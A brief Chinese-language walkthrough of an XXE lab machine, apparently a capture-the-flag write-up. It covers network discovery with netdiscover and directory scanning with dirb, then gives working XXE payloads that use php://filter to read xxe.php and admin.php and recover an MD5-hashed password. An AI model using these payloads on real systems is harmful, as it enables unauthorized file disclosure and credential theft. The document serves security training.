1.在 kali 虚拟机中使用命令 ifconfig,获取主机 ip
2.使用 kali 自带的 netdiscover, 扫描本网段除 kali 的 ip 之外存活的 ip 就是 xxe 靶机的 ip.
netdiscover -i eth0 -r 192.x.x.0/24 //root执行
3.使用火狐浏览器访问目标 web 主机 80 端口
4.用 kali 自带的 dirb,扫描一下网站目录.
drib http://192.x.x.x
5.用浏览器打开 http://192.x.x.x/robots.txt 查看一下这个文件,可以看到哪些文件是可以被查看的
6.发现有一个/XXE 目录,打开登录并抓包.
7.先读取一下xxe.php文件
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>&sp;</name><password>hj</password></root>
然后进行base64解码,发现没有什么用,这是我们可以想到robots.txt文件中有一个admin.php文件,尝试读取一下他的内容
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
8.解码
发现有账号密码,但是密码用MD5进行了加密,解密
9.登录
发现账号和密码错误,这是因为我们获取的是xxe目录下的admin.php,所以应该在这个目录下登录
需要读取一下这个flag文件中的内容
解码
这串代码也是进行了加密,我们再进行解密
再解码
读取一下,解码新建一个php文件将代码写进去,访问